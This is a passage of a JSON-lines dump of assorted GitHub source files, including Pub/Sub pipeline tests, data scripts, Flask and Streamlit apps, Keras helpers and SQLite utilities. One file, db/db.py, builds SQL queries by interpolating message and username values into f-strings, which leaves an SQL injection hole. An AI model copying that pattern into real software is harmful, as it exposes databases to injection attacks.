test_message_is_acknowledged_on_successful_publish(pipeline):\n def on_publish(topic_path, data):\n assert topic_path == 'some/topic/path'\n assert isinstance(data, bytes)\n result = json.loads(data)\n assert result == _message_data()\n return mock_future\n\n subscriber = _mock_subscriber()\n publisher = _mock_publisher(on_publish)\n\n def on_add_done_callback(callback):\n callback(mock_future)\n subscriber.acknowledge.assert_called_with(\n 'some/subscription/path',\n ['some_ack_id']\n )\n\n mock_future = _mock_future(on_add_done_callback)\n\n pipeline(\n google_cloud_project='',\n incoming_subscription='',\n outgoing_topic='',\n processor=processor,\n subscriber=subscriber,\n publisher=publisher\n ).process(max_processed_messages=1)\n\n\n@pytest.mark.parametrize('pipeline', [PubSubPipeline, BulkPubSubPipeline])\ndef test_message_is_not_acknowledged_on_failure(pipeline):\n def on_add_done_callback(callback):\n callback(mock_future)\n subscriber.acknowledge.assert_not_called()\n\n mock_future = _mock_future(on_add_done_callback)\n mock_future.result.side_effect = Exception('Boom!')\n subscriber = _mock_subscriber()\n publisher = _mock_publisher()\n\n pipeline(\n google_cloud_project='',\n incoming_subscription='',\n outgoing_topic='',\n processor=processor,\n subscriber=subscriber,\n publisher=publisher\n ).process(max_processed_messages=1)\n\n\n@pytest.mark.parametrize('pipeline', [PubSubPipeline, BulkPubSubPipeline])\ndef test_ack_deadline_is_not_respected(pipeline):\n subscriber = _mock_subscriber()\n publisher = _mock_publisher()\n\n def on_add_done_callback(callback):\n callback(mock_future)\n subscriber.acknowledge.assert_called_with(\n 'some/subscription/path',\n ['some_ack_id']\n )\n\n mock_future = _mock_future(on_add_done_callback)\n\n class Pull:\n do_raise = True\n\n def __call__(self, *args, **kwargs):\n if self.do_raise:\n self.do_raise = False\n raise DeadlineExceeded(\"\")\n else:\n result = MagicMock()\n result.received_messages = [_mock_message()]\n return result\n\n subscriber.pull.side_effect = Pull()\n\n pipeline(\n google_cloud_project='',\n incoming_subscription='',\n outgoing_topic='',\n processor=processor,\n subscriber=subscriber,\n publisher=publisher,\n deadline_exceeded_retry_wait_secs=0\n ).process(max_processed_messages=1)\n","repo_name":"hypefactors/py-pubsub-pipeline","sub_path":"test_pubsub_pipeline.py","file_name":"test_pubsub_pipeline.py","file_ext":"py","file_size_in_byte":4174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"19843219368","text":"from openpyxl import load_workbook\n\nwb = load_workbook('Dodgers.xlsx')\nresult = []\n\nws = wb.worksheets[0]\nfor row in ws.iter_rows():\n # list comprehension\n result.append([cell.value for cell in row])\n\nsum = 0\nfor r in result[1:]:\n sum += int(r[11])\n\nprint(f\"Total HR was {sum}\")\n# Total HR was 168\n","repo_name":"AndyLincode/python-practice","sub_path":"openpyxl_1.py","file_name":"openpyxl_1.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"15928430134","text":"from datetime import datetime\nimport sqlite3\n\n\ncon = sqlite3.connect('db/db.db')\n\n\ndef log_message(message, author):\n date = datetime.now().strftime(\"%m/%d/%Y, %H:%M:%S\")\n cur = con.cursor()\n cur.execute(f\"INSERT INTO logs VALUES ('{message}', '{date}', '{author}')\")\n con.commit()\n\n\ndef select_offence_count(username):\n query = f'''select count(*) from logs\n where user = '{username}' '''\n cur = con.cursor()\n cur.execute(query)\n return cur.fetchone()[0]\n","repo_name":"SergeyKalutsky/hple","sub_path":"db/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"7706668356","text":"import numpy as np\nfrom glob import glob\nfrom numpy import array\nfrom scipy.misc import imread\nimport scipy.misc\nimport sys\nimport os\n\n'''\nThis method takes 3d image sequence as numpy array argument. \nThe image sequence is then converted to a 2-d matrix with \npixels as rows and pixel values for images as columns. \nThen variance of the pixels are calculated and stored in a \nvariable. The top variant pixels as replaced with a given \npixel value. \n'''\ndef highVariance(imgs,hv=1,pix=125):\n timgs = transform(imgs)\n varimg = timgs.var(1)\n sortvar = sorted(varimg,reverse=True)\n sortvar = sortvar[:hv]\n a = np.full((1,int(imgs.shape[0])),pix)\n for mv in sortvar:\n timgs[int(np.where(varimg == mv)[0][0])] = a\n return timgs\n\n'''\nTranforms the given image into a 2d matrix\n'''\ndef transform(imgs):\n t_imgs = np.transpose(imgs)\n tod_data = t_imgs.reshape(imgs.shape[1]*imgs.shape[2], imgs.shape[0])\n return tod_data\n\n'''\nSaves the modified image matrices to a image. \nThis function contains the arguments of the \n'path' where the image will be saved \n'varimgs' the modified image matrices\n'imgs' orginal image matrix \n'''\ndef saveImage(path, varimgs, imgs):\n timgs = np.transpose(varimgs)\n rimgs = timgs.reshape(imgs.shape[0],imgs.shape[1],imgs.shape[2])\n if not os.path.exists(path):\n os.makedirs(path)\n for i in range (0,len(rimgs)):\n scipy.misc.imsave(path+'/img'+str(i)+'.png', rimgs[i])\n'''\nFunction to load the images from the given path\n'''\ndef loadImgs(path):\n files = sorted(glob(path+'/frame*'))\n imgs = array([imread(f) for f in files])\n return imgs\n\n\nif __name__ == \"__main__\":\n path = sys.argv[1]\n imgs = loadImgs(path)\n varImgs = highVariance(imgs)\n saveImage(path+\"/preprocess\",varImgs,imgs)\n","repo_name":"dsp-uga/goucher","sub_path":"src/preprocessing/PixelVariance.py","file_name":"PixelVariance.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"14023651850","text":"import sys\nimport subprocess\nfrom pycdft import *\nfrom ase.io import read\n\n# This file contains commands to restart from previous (converged) calculation of CDFT\n# For reference, the inputs from the CDFT run is kept\n\ncell = read(\"./He2.cif\")\nprint(r\"Initial atomic positions (Ang):\")\nprint(cell.get_positions())\nprint(cell.get_cell())\n\nV = -0.703772086888 # this is close to optimal constraint potential, use secant optimizer to refine\n \nprint(\"==================== Initializing Run =========================\")\n# load sample geometry\ncell.positions[1][2] = 3.0 \nsample = Sample(ase_cell=cell, n1=112, n2=112, n3=112, vspin=1)\nprint(sample.atoms[1])\n \n# load DFT driver, the commands are not essential but kept for reference\nqboxdriver = QboxDriver(\n sample=sample,\n init_cmd=\"load gs.xml \\n\" \n \"set xc PBE \\n\" \n \"set wf_dyn PSDA \\n\" \n \"set_atoms_dyn CG \\n\" \n \"set scf_tol 1.0E-8 \\n\",\n scf_cmd=\"run 0 50 5\",\n)\n \n# set up CDFT constraints and solver\nsolver1 = CDFTSolver(job=\"scf\", optimizer=\"secant\",sample=sample, dft_driver=qboxdriver,lrestart=True)\nsolver2 = solver1.copy()\n \n# add constraint to two solvers; the contraints are not essential but kept for reference\nChargeTransferConstraint(\n sample=solver1.sample,\n donor=Fragment(solver1.sample, solver1.sample.atoms[0:1]),\n acceptor=Fragment(solver1.sample, solver1.sample.atoms[1:2]),\n V_init = V,\n N0=1,\n N_tol=1E-6\n)\nChargeTransferConstraint(\n sample=solver2.sample, \n donor=Fragment(solver2.sample, solver2.sample.atoms[0:1]),\n acceptor=Fragment(solver2.sample, solver2.sample.atoms[1:2]),\n V_init = -V,\n N0=-1, \n N_tol=1E-6\n)\n\n# Below are the main routines needed to restart a CDFT calculation\nprint(\"~~~~~~~~~~~~~~~~~~~~ Restarting CDFT ~~~~~~~~~~~~~~~~~~~~\")\nprint(\"---- solver A ------\")\nsolver1.restart(\"wfc-1.xml\",[-4.726619,-0.703904]) # input arguments are name of wfc file, [Ed,Ec] from output\nsolver1.get_Vc(\"Vc-1.dat\") # input argument is name of constraint potential file\n\nprint(\"---- solver B ------\")\nsolver2.restart(\"wfc-2.xml\",[-4.726621,-0.703725])\nsolver2.get_Vc(\"Vc-2.dat\")\n\n\n# Finally, we call upon the routines for calculating electronic coupling. \n# An example output is given as coupling_restart.out\n\nprint(\"~~~~~~~~~~~~~~~~~~~~ Calculating coupling ~~~~~~~~~~~~~~~~~~~~\")\ncompute_elcoupling(solver1, solver2,close_dft_driver=False)\n \nprint(\"==================== JOB DONE =========================\")\n","repo_name":"hema-ted/pycdft","sub_path":"examples/01-he2_coupling/restart_example/run_coupling.py","file_name":"run_coupling.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"53"}
+{"seq_id":"8285042568","text":"from flask import Flask, render_template, request, redirect, jsonify, url_for, flash\nfrom sqlalchemy import create_engine, asc\nfrom sqlalchemy.orm import sessionmaker\nfrom database_setup import Base, Category, Item, User\napp = Flask(__name__)\nfrom flask import session as login_session\nimport random, string\n\nengine = create_engine('sqlite:///catalog_database.db')\nBase.metadata.bind = engine\n\nDBSession = sessionmaker(bind = engine)\nsession = DBSession()\n\nnewUser1 = User(id = 1, name = \"Michael\", email = \"michael@gmail.com\")\nsession.add(newUser1)\nnewUser2 = User(id = 2, name = \"Daniel\", email = \"danielspottiswood@gmail.com\")\nsession.add(newUser2)\nnewcategory1 = Category(id = 1, name = \"Cleaning\")\nsession.add(newcategory1)\nnewcategory2 = Category(id = 2, name = \"Entertainment\")\nsession.add(newcategory2)\nnewcategory3 = Category(id = 3, name = \"Tools\")\nsession.add(newcategory3)\nsession.commit()\nnewItem1 = Item(name = \"Swiffer\", description=\"High Tech Cleaning Supply\",price=\"10\",condition=\"good\", Category_id = 1, User_id=1)\nsession.add(newItem1)\nnewItem2 = Item(name = \"TV\", description=\"Plasma Flat Screen TV Samsung\",price=\"70\",condition=\"great\", Category_id = 2, User_id=2)\nsession.add(newItem2)\nnewItem3 = Item(name = \"Hammer\", description=\"12 inch Hammer\",price=\"12\",condition=\"poor\", Category_id = 3, User_id=2)\nsession.add(newItem3)\nsession.commit()\n","repo_name":"danielspottiswood/CatalogProject","sub_path":"database_pop.py","file_name":"database_pop.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"71600585769","text":"import streamlit as st\nimport pandas as pd\nimport numpy as np\nfrom PIL import Image\nimport pydeck as pdk\nimport pickle\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n#imagem=Image.open('page-icon.png')\nst.set_page_config(page_title='Angola 2022', page_icon='https://i.pinimg.com/originals/be/0e/7a/be0e7a66443ef7c46b061f1de1ec4574.png')\n#Aqui estou confirgurando apresentaçao do site, como o nome e icone que vai aparecer ao abrir a pagina.\nst.write('# Monkeypox')\nst.markdown('Acompanhando a evolução da doença pelo mundo')\nst.write('-----------')\nst.sidebar.write('Periodo')\ndata=pd.read_csv(\"./venv/monkeypox.csv\")\nlabel=list(['Janeiro','Fevereiro','Março','Abril','Maio','Junho','Julho','Agosto','Setembro'])\nmeses=st.sidebar.selectbox('Escolha o periodo',options=label)\n#Aqui estou criando uma caixa para selecionar o mes que desejo verificar as informações\n\ndata['Date_confirmation']=pd.to_datetime(data['Date_confirmation'])\ndata['month']=data['Date_confirmation'].dt.strftime('%m')\nmes=(data['month'].unique())\ninicia_mes=int(mes.min())\nfinal_mes=int(mes.max())\n\nperiodo=st.sidebar.slider('Escolha um mês',min_value=inicia_mes,max_value=final_mes,value=final_mes)\n#Aqui estou criando uma linha para filtrar o periodo que desejo obter as informações.\n#Vale ressaltar que para obter a interação tive que salvar o comando em uma variavél PERIODO\nst.sidebar.write('O mes escolhido foi:',periodo)\n\n\nif meses == 'Fevereiro':\n st.write('# Carnaval binho')\nif meses=='Maio':\n st.write(' # Ano que vem be')\nif meses == 'Julho':\n st.write('# Vem sao jao')\n#Aqui estou interagindo com o selectbox as opções escolhidas\n\nif st.sidebar.checkbox('Mostrar tabela'):\n st.write(data)\n#Aqui estou interagindo com a caixinha do checkbox para apresentar a tabela quando a opção estiver selecionada\n\n\n\n\n\n\n","repo_name":"kaiquess1/primeiro-teste-app","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"13398904728","text":"class Solution:\n def permute(self, nums: List[int]) -> List[List[int]]:\n \n \"\"\"\n perform backtracking\n \"\"\"\n\n result = []\n\n # base case\n if (len(nums) == 1):\n return [nums[:]]\n \n for i in range(len(nums)):\n # pop first value off and get permutations of the other vals\n n = nums.pop(0)\n perms = self.permute(nums)\n\n for perm in perms:\n perm.append(n)\n result.extend(perms)\n nums.append(n)\n\n # testing leethub\n return result\n\n\n\n","repo_name":"yihui-hu/leetcode","sub_path":"0046-permutations/0046-permutations.py","file_name":"0046-permutations.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"31589448691","text":"from typing import List, Optional, Tuple\n\nfrom tensorflow.keras.losses import Loss\nfrom tensorflow.keras.metrics import Metric\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.optimizers import Optimizer\n\n\nclass LossDescriptor:\n \"\"\"\n 손실 설명을 위한 도구입니다.\n \"\"\"\n\n def __init__(self, loss: Loss, weight: int = 1.0):\n self.loss = loss\n self.weight = weight\n\n\nclass ModelDescriptor:\n \"\"\"\n 모델 설명을 위한 도구입니다.\n\n - 모델에 해당되는 입력의 이름, 입력의 shape을 지정합니다.\n - 모델에 해당되는 출력의 이름, 출력의 shape을 지정합니다.\n \"\"\"\n\n def __init__(\n self,\n inputs: List[Tuple[str, Tuple[int, int, int]]],\n outputs: List[Tuple[str, Tuple[int, int, int]]],\n ):\n self.inputs = inputs\n self.outputs = outputs\n\n def get_input_sizes(self) -> List[Tuple[int, int]]:\n \"\"\"\n 모델의 입력의 세로, 가로 크기를 반환합니다.\n\n Returns\n -------\n List[Tuple[int, int]]\n 이미지의 세로, 가로 크기 리스트\n \"\"\"\n return list(map(lambda el: (el[1][0], el[1][1]), self.inputs))\n\n def get_output_sizes(self) -> List[Tuple[int, int]]:\n \"\"\"\n 모델의 출력의 세로, 가로 크기를 반환합니다.\n\n Returns\n -------\n List[Tuple[int, int]]\n 이미지의 세로, 가로 크기 리스트\n \"\"\"\n return list(map(lambda el: (el[1][0], el[1][1]), self.outputs))\n\n\ndef compile_model(\n model: Model,\n model_descriptor: ModelDescriptor,\n optimizer: Optimizer,\n loss_list: List[LossDescriptor],\n metrics: List[Metric],\n sample_weight_mode=None,\n weighted_metrics=None,\n target_tensors=None,\n **kwargs\n):\n \"\"\"\n 모델을 컴파일합니다.\n\n Parameters\n ----------\n model : Model\n 컴파일 할 모델\n model_descriptor : ModelDescriptor\n 모델 설명 도구\n optimizer : Optimizer\n 옵티마이저\n loss_list : List[LossDescriptor]\n 손실 설명 도구의 리스트\n metrics : List[Metric]\n 메트릭 리스트\n sample_weight_mode : [type], optional\n `sample_weight_mode`, by default None\n weighted_metrics : [type], optional\n `weighted_metrics`, by default None\n target_tensors : [type], optional\n `target_tensors`, by default None\n \"\"\"\n losses = dict(\n zip(\n list(map(lambda el: el[0], model_descriptor.outputs)),\n list(map(lambda el: el.loss, loss_list)),\n )\n )\n loss_weights = dict(\n zip(\n list(map(lambda el: el[0], model_descriptor.outputs)),\n list(map(lambda el: el.weight, loss_list)),\n )\n )\n model.compile(\n optimizer=optimizer,\n loss=losses,\n loss_weights=loss_weights,\n metrics=metrics,\n weighted_metrics=weighted_metrics,\n sample_weight_mode=sample_weight_mode,\n target_tensors=target_tensors,\n **kwargs\n )\n\n\nclass ModelHelper:\n \"\"\"\n [Interface]\n \"\"\"\n\n def __init__(self, model_descriptor: ModelDescriptor, alpha: float = 1.0):\n self.model_descriptor = model_descriptor\n self.alpha = alpha\n\n def get_model(self) -> Model:\n raise NotImplementedError\n\n def compile_model(\n self,\n model: Model,\n optimizer: Optimizer,\n loss_list: List[LossDescriptor],\n metrics: List[Metric] = [],\n model_descriptor: Optional[ModelDescriptor] = None,\n sample_weight_mode=None,\n weighted_metrics=None,\n target_tensors=None,\n **kwargs\n ) -> Model:\n _model_descriptor = model_descriptor\n if model_descriptor is None:\n _model_descriptor = self.model_descriptor\n compile_model(\n model,\n model_descriptor=_model_descriptor,\n optimizer=optimizer,\n loss_list=loss_list,\n metrics=metrics,\n sample_weight_mode=sample_weight_mode,\n weighted_metrics=weighted_metrics,\n target_tensors=target_tensors,\n **kwargs\n )\n return model\n","repo_name":"tenkeyless/image-keras","sub_path":"image_keras/model_manager.py","file_name":"model_manager.py","file_ext":"py","file_size_in_byte":4235,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"71604419688","text":"import json\nimport logging\nimport os\nfrom typing import Dict, Set, Optional, Iterator, List\n\nfrom polytropos.ontology.composite import Composite\n\nfrom polytropos.ontology.schema import Schema\nfrom polytropos.tools.qc.compare import FixtureComparator\n\nfrom polytropos.tools.qc.outcome import Outcome, ValueMatch, ValueMismatch, MissingValue, InvalidPath\nfrom polytropos.util.paths import find_all_composites, relpath_for\n\ndef _get_composite(basepath: str, composite_id: str, schema: Schema) -> Optional[Composite]:\n relpath: str = relpath_for(composite_id)\n filename: str = os.path.join(basepath, relpath, \"%s.json\" % composite_id)\n if not os.path.exists(filename):\n return None\n with open(filename) as fh:\n try:\n content: Dict = json.load(fh)\n except Exception as e:\n logging.error(\"Error reading composite %s\" % filename)\n raise e\n return Composite(schema, content, composite_id=composite_id)\n\nclass FixtureOutcomes:\n def __init__(self, schema: Schema, fixture_path: str, actual_path: str):\n unsorted_outcomes: Dict[str, Outcome] = {}\n self.no_actual: Set[str] = set()\n\n for composite_id in find_all_composites(fixture_path):\n actual: Optional[Composite] = _get_composite(actual_path, composite_id, schema)\n if actual is None:\n self.no_actual.add(composite_id)\n logging.warning(\"No actual value observed for fixture %s.\" % composite_id)\n continue\n fixture: Optional[Composite] = _get_composite(fixture_path, composite_id, schema)\n assert fixture is not None\n comparator: FixtureComparator = FixtureComparator(schema, composite_id, fixture, actual)\n outcome: Outcome = comparator.outcome\n unsorted_outcomes[composite_id] = outcome\n\n self.outcomes: List = [unsorted_outcomes[key] for key in sorted(unsorted_outcomes.keys())]\n\n @property\n def matches(self) -> Iterator[ValueMatch]:\n for outcome in self.outcomes:\n yield from outcome.matches\n\n @property\n def match_ids(self) -> Iterator[str]:\n for outcome in self.outcomes:\n yield from outcome.match_case_ids\n\n @property\n def mismatches(self) -> Iterator[ValueMismatch]:\n for outcome in self.outcomes:\n yield from outcome.mismatches\n\n @property\n def mismatch_ids(self) -> Iterator[str]:\n for outcome in self.outcomes:\n yield from outcome.mismatch_case_ids\n\n @property\n def missing_values(self) -> Iterator[MissingValue]:\n for outcome in self.outcomes:\n yield from outcome.missings\n\n @property\n def missing_value_ids(self) -> Iterator[str]:\n for outcome in self.outcomes:\n yield from outcome.missing_case_ids\n\n @property\n def invalid_paths(self) -> Iterator[InvalidPath]:\n for outcome in self.outcomes:\n yield from outcome.invalids\n\n @property\n def invalid_path_ids(self) -> Iterator[str]:\n for outcome in self.outcomes:\n yield from outcome.invalid_case_ids\n","repo_name":"borenstein/polytropos","sub_path":"polytropos/tools/qc/findall.py","file_name":"findall.py","file_ext":"py","file_size_in_byte":3118,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"53"}
+{"seq_id":"41424107558","text":"\"\"\"\r\n# -*- coding: utf-8 -*-\r\n-----------------------------------------------------------------------------------\r\n# Author: Anant Dashpute\r\n-----------------------------------------------------------------------------------\r\n# Description: Common plot functions are added here\r\n\"\"\"\r\n\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport cv2\r\nfrom src.tools import util\r\n\r\n\r\ndef view_lidar(pc, azimuth=180, elevation=10):\r\n \"\"\"\r\n pc : Point cloud array\r\n azimuth: Rotation angle\r\n elevation: View angle\r\n \"\"\"\r\n\r\n plt.figure(figsize=[10, 10])\r\n ax = plt.axes(projection='3d')\r\n d = {'X': pc[0], 'Y': pc[1], 'Z': pc[2], 'intensity': pc[3]}\r\n df = pd.DataFrame.from_dict(d)\r\n ax.scatter(df['X'], df['Y'], df['Z'], c=df['intensity'], s=0.1)\r\n ax.set_xlim(-15, 15)\r\n ax.set_ylim(-15, 15)\r\n ax.set_zlim(-15, 15)\r\n ax.azim = azimuth\r\n ax.elev = elevation\r\n ax.set_xlabel('x')\r\n ax.set_ylabel('y')\r\n ax.set_zlabel('z')\r\n plt.show()\r\n\r\n\r\ndef view_image(root_path, data_path):\r\n \"\"\"\r\n image_path : Direct path to image\r\n \"\"\"\r\n image_path = util.get_image_path(root_dir=root_path, data_path=data_path)\r\n img = cv2.imread(image_path)\r\n cv2.imshow('image', img)\r\n cv2.waitKey(0)\r\n cv2.destroyAllWindows()\r\n","repo_name":"DASHANANT/Autolabelling","sub_path":"src/tools/plot_utils.py","file_name":"plot_utils.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"38030005443","text":"import numpy as np\nfrom states import STATE_ORDER, ABBR_TO_NAME, NAME_TO_ABBR\nfrom apportionment import huntington_hill, webster, dean, hamilton, lowndes, jefferson, adam\nfrom noise import poisson_noise, laplace_noise, geometric_noise, gaussian_noise\nfrom parse import *\n\nEPSILONS = [10**x for x in range(-1, -6, -1)]\nDELTAS = [10**x for x in range(-4, -20, -4)]\nCS = range(1, 11, 2)\nREPS = 100\n\nPOPULATIONS_FILE = \"census_data/historical_populations.csv\"\nAPPORTIONMENT_FILE = \"census_data/house_apportionments.csv\"\nOUTPUT_FOLDER = \"results\"\nVERBOSE = False\n\napportionments = {\"hh\": huntington_hill, \"webster\": webster, \"dean\": dean, \"hamilton\": hamilton, \"lowndes\": lowndes,\n \"jefferson\": jefferson, \"adam\": adam}\nmechanisms = { \"poisson\": poisson_noise, \"laplace\": laplace_noise, \"geometric\": geometric_noise, \"gaussian\": gaussian_noise}\n\ndef run_experiment(apportion_alg_name, count_mech_name):\n # Writes a function that returns the changes that must be made TO THE TRUE APPORTIONMENT in order to equal the\n # NOISY RESULT\n\n # TODO temporary - we already have results for hh, just move on\n if apportion_alg_name == \"hh\":\n return\n\n print(\"++++++++++++++++++++++++++++++++++++\")\n print(\"apportionment algorithm: \", apportion_alg_name)\n print(\"count DP mechanism: \", count_mech_name)\n print(\"++++++++++++++++++++++++++++++++++++\")\n\n apportionment_alg = apportionments[apportion_alg_name]\n count_mechanism = mechanisms[count_mech_name]\n\n census_years, total_us_pop, state_pops = parse_historical_populations(POPULATIONS_FILE)\n census_years, total_seats_apportioned, state_seats_apportioned = parse_historical_seats_apportioned(APPORTIONMENT_FILE)\n\n for year in census_years:\n print(\"year: \", str(year))\n if VERBOSE: print(\"=================================\")\n\n true_population = total_us_pop[year]\n true_state_pop = state_pops[year]\n true_seats = total_seats_apportioned[year]\n true_answer = apportionment_alg(true_state_pop, true_seats)\n\n output_file = OUTPUT_FOLDER + \"/\" + apportion_alg_name + \"/\" + count_mech_name + \"/\" + str(year) + \".csv\"\n with open(output_file, 'w') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow([\"apportionment\",\"mechanism\", \"epsilon\", \"rep\"] + STATE_ORDER)\n\n for epsilon in EPSILONS:\n print(\" epsilon: \", str(epsilon))\n if VERBOSE: print(\"---------------------------------\")\n\n deltas = DELTAS if count_mech_name == \"gaussian\" else [None]\n for delta in deltas:\n print(\" delta: \", str(delta))\n if VERBOSE: print(\" ---------------------------------\")\n\n for rep in range(REPS):\n noises = count_mechanism(epsilon, delta, len(true_state_pop)) if count_mech_name == \"gaussian\" else count_mechanism(epsilon, len(true_state_pop))\n population = true_population + sum(noises)\n state_pop = dict()\n for (state, i) in zip(true_state_pop.keys(), range(len(true_state_pop))):\n state_pop[state] = true_state_pop[state] + noises[i] if true_state_pop[state] is not None else None\n answer = apportionment_alg(state_pop, true_seats)\n\n if true_answer != answer:\n if VERBOSE: print(\"alg: %s, mech: %s, epsilon: %f, year: %d, rep: %d, Different\" %\n (apportion_alg_name, count_mech_name, epsilon, year, rep))\n for state in true_answer:\n if true_answer[state] != answer[state]:\n diff = answer[state] - true_answer[state]\n if VERBOSE: print(\" \", state, \"+\" if diff > 0 else \" \" if diff == 0 else \"\", diff)\n else:\n if VERBOSE: print(\"alg: %s, mech: %s, epsilon: %f, year: %d, rep: %d, Same\" %\n (apportion_alg_name, count_mech_name, epsilon, year, rep))\n\n writer.writerow([apportion_alg_name, count_mech_name, epsilon, rep] + [answer[st] - true_answer[st] for st in filter(lambda st: true_answer[st] is\n not None, STATE_ORDER)])\n print(\"Done! Results are in \", OUTPUT_FOLDER)\n\n\nif __name__ == '__main__':\n census_years, total_us_pop, state_pops = parse_historical_populations(POPULATIONS_FILE)\n census_years, total_seats_apportioned, state_seats_apportioned = parse_historical_seats_apportioned(APPORTIONMENT_FILE)\n\n for aa in apportionments.keys():\n for cm in mechanisms.keys():\n if cm == \"poisson\":\n continue # skip for now\n run_experiment(aa, cm)\n\n #print(census_years)\n #print(total_seats_apportioned)\n #print(state_seats_apportioned)\n\n","repo_name":"sarahscheffler/dp-census","sub_path":"basic_dp_experiments.py","file_name":"basic_dp_experiments.py","file_ext":"py","file_size_in_byte":4973,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"73376778407","text":"import pandas as pd\r\n\r\n# Прочитане на файла като текст\r\nwith open('csv/dataset.csv', 'r', encoding='ISO-8859-1') as f:\r\n lines = f.readlines()\r\n\r\n# Обработка на текста\r\ndata = []\r\nfor line in lines[1:]:\r\n values = line.split(',')\r\n row = {\r\n 'make': values[0].strip(),\r\n 'model': values[1].strip(),\r\n 'year': values[2].strip(),\r\n 'engine': values[3].strip(),\r\n 'variant': values[5].strip(),\r\n 'body_styles': values[4].strip(),\r\n 'type': values[6].strip(),\r\n 'kType': values[7].strip()\r\n }\r\n data.append(row)\r\n\r\n# Преобразуване на данните в DataFrame\r\ndf = pd.DataFrame(data)\r\n\r\n# Премахване на 'diesel', 'petrol' и 'electric' от 'body_styles'\r\ndf['body_styles'] = df['body_styles'].str.replace('Diesel', '').str.replace('Petrol', '')\r\n\r\n# Вземане на уникалните 'body_styles'\r\nunique_body_styles = df['body_styles'].unique()\r\n\r\n# Извеждане на уникалните 'body_styles'\r\nfor body_style in unique_body_styles:\r\n print(body_style)\r\n\r\n# Запазване на модифицираното dataframe в нов CSV файл\r\ndf.to_csv('csv/modified_dataset.csv', index=False)\r\n","repo_name":"magicgamermd/RUVEN","sub_path":"index1.py","file_name":"index1.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"bg","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"34281630323","text":"import sqlite3, pathlib, os, datetime\nfrom sqlite3 import Error\n\nconn = None\ndateStr = ''\ndef operators(operator, tender = None):\n try:\n conn = sqlite3.connect('main.db')\n print(sqlite3.version)\n cur = conn.cursor()\n print(\"Подключен к SQLite\")\n \n if operator=='createTenders':\n cur.execute(\"create table if not exists tenders ('id' INTEGER PRIMARY KEY AUTOINCREMENT, 'name', 'inn', 'kpp', 'mailAddress', 'category', 'price', 'deliveryAddress', 'link' NOT NULL UNIQUE, 'dynamics', 'dateStart', 'dateEnd', 'items NOT NULL')\")\n print('Tables created or exists')\n \n if operator=='read_tables':\n try:\n sqlite_select_query = '''SELECT 'id' , 'name', 'inn', 'kpp', 'mailAddress', 'category', 'price', 'deliveryAddress', 'link', 'dynamics', 'dateStart', 'dateEnd' from tenders'''\n cur.execute(sqlite_select_query)\n if(cur.fetchall!=None):\n return cur.fetchall()\n else:\n return None\n except:\n return None\n if operator=='insert':\n tendersInsert = \"insert or ignore into tenders (name, inn, kpp, mailAddress, category, price, deliveryAddress, link, dynamics, dateStart, dateEnd,items) values(?,?,?,?,?,?,?,?,?,?,?,?)\"\n cur.execute(tendersInsert,(tender.name,tender.inn,tender.kpp,tender.mailAddress,tender.category,tender.price,tender.deliveryAddress,tender.link,tender.dynamics,tender.dateStart,tender.dateEnd,tender.items))\n #dateStr = datetime.datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\")\n\n if operator=='drop tables':\n cur.execute('DROP TABLE IF EXISTS tenders;')\n cur.close()\n conn.commit()\n except Error as e:\n print(\"Ошибка при работе с SQLite\", e)\n finally:\n if conn:\n conn.close()\n print(\"Соединение с SQLite закрыто\")\n \n# if operator=='select':\n # cur.execute(\"select link from tenders where link=:link\", {\"link\":link})\n # ident = cur.fetchall()\n # for i in ident:\n # print('ident' + i)\n # if len(ident) == 0: #section,dates[i],times[i],counts[i]\n # return False\n # else:\n # print(ident)\n # return True\n \n \n #last_insert = cur.lastrowid\n # itemsInsert = \"insert or ignore into items (name,tenderkey) values(?,?)\"\n # if len(p2[i]) > 1:\n # for x in range(len(p2[i])):\n # cur.execute(itemsInsert,(p2[i][x], last_insert))\n # if len(p2[i]) == 1:\n # cur.execute(itemsInsert,(p2[i][0], last_insert))","repo_name":"shadevil/atmo_parser","sub_path":"new parser/db1.py","file_name":"db1.py","file_ext":"py","file_size_in_byte":2833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
